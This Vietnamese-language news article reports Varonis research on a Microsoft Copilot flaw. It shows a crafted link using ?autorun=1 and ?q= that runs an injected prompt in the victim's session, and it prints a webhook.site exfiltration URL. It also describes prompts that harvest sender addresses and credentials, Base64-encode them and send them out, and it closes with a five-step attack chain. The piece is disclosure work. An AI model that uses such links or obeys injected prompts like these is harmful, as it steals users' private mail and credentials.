Chuyển đến nội dung chính
Quản trị an toàn

Lỗ hổng AI Copilot của Microsoft bị tiết lộ: Liên kết độc hại vượt qua xác nhận người dùng để đánh cắp dữ liệu riêng tư

Trang công nghệ Ars Technica hôm qua (ngày 18 tháng 8) đăng bài viết, cho biết Microsoft Copilot tồn tại lỗ hổng bảo mật, có thể dùng tham số ?autorun=1 kết hợp với ?q= để vượt qua xác nhận của người dùng, từ đó đánh cắp thông tin người dùng.

Lỗ hổng AI Copilot của Microsoft bị tiết lộ: Liên kết độc hại vượt qua xác nhận người dùng để đánh cắp dữ liệu riêng tư

Trang công nghệ Ars Technica hôm qua (ngày 18 tháng 8) đăng bài viết, cho biết Microsoft Copilot tồn tại lỗ hổng bảo mật, có thể dùng tham số ?autorun=1 kết hợp với ?q= để vượt qua xác nhận của người dùng, từ đó đánh cắp thông tin người dùng.

IT之家 dẫn lại bài viết cho biết, các nhà nghiên cứu của công ty bảo mật Varonis chỉ ra rằng giống như hầu hết trợ lý AI, Copilot hỗ trợ nhận lời nhắc qua URL. Phần cơ sở của URL có thể khiến mô hình mở các ứng dụng như Gmail, còn các tham số và văn bản tiếp theo có thể yêu cầu trợ lý tóm tắt nội dung hộp thư đến hoặc soạn email.

Các nhà nghiên cứu phát hiện Copilot có tham số ?autorun=1, kết hợp với ?q= để vượt qua xác nhận của người dùng, và đã tạo ra liên kết như sau:

https://copilot.microsoft.com/?q=&autorun=1

Sau khi người dùng nhấp vào liên kết do kẻ tấn công tạo ra, trình duyệt sẽ tải Copilot trong phiên đã đăng nhập của người dùng, trong đó ?autorun=1 kích hoạt tự động thực thi, còn lời nhắc trong ?q= sẽ chạy mà không cần thao tác của người dùng.

Lời nhắc do các nhà nghiên cứu tạo ra yêu cầu Copilot tìm kiếm hộp thư đến, tìm email mới nhận nhất, chỉ trích xuất địa chỉ email của người gửi, rồi lưu kết quả vào biến có tên SUPPORT. Sau đó, Copilot sẽ tạo URL sau và thực thi lệnh “tóm tắt URL”:

https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORT

Kẻ tấn công có thể gửi liên kết độc hại cho nạn nhân qua email, tin nhắn trò chuyện, trang lừa đảo hoặc mã QR. Sau khi người dùng nhấp, thông tin nhạy cảm sẽ được gắn vào một URL khác, và Copilot tự động mở địa chỉ đó trên thiết bị. Vì trang được lưu trữ trên website do kẻ tấn công kiểm soát, dữ liệu cuối cùng sẽ được gửi cho kẻ tấn công.

Lỗ hổng AI Copilot của Microsoft bị tiết lộ: Liên kết độc hại vượt qua xác nhận người dùng để đánh cắp dữ liệu riêng tư

Các nhà nghiên cứu còn thiết kế một lời nhắc khác, khiến Copilot tìm kiếm mật khẩu và các thông tin xác thực khác trong hộp thư đến. Chỉ cần phát hiện bí mật liên quan, trợ lý sẽ gửi chúng tới cùng loại máy chủ do kẻ tấn công kiểm soát. Để che giấu việc đánh cắp dữ liệu và giảm lỗi truyền tải, nội dung gửi ra ngoài sẽ được chuyển sang Base64 trước (một định dạng mã hóa dữ liệu nhị phân thành văn bản).

Chuỗi tấn công do Varonis liệt kê gồm 5 bước:

1. Nạn nhân nhấp vào URL do kẻ tấn công cố ý tạo ra (phát tán qua email, trò chuyện, trang lừa đảo, mã QR, v.v.)

2. Trình duyệt tải copilot.microsoft.com trong phiên đang hoạt động và đã được xác thực của nạn nhân.

3. Tham số ?autorun=1 kích hoạt tự động thực thi, lời nhắc ?q= sẽ hiện ra mà không cần bất kỳ thao tác nào của người dùng.

4. Copilot xử lý lời nhắc bị tiêm vào và có toàn quyền truy cập ngữ cảnh phiên của nạn nhân, các ứng dụng đã kết nối và bộ nhớ.

5. Ngay cả khi đóng tab Copilot ngay sau khi tải xong, lời nhắc vẫn được thực thi đến cùng, bao gồm mọi thao tác truy xuất mạng, gọi trình kết nối hoặc chuỗi nhiều vòng.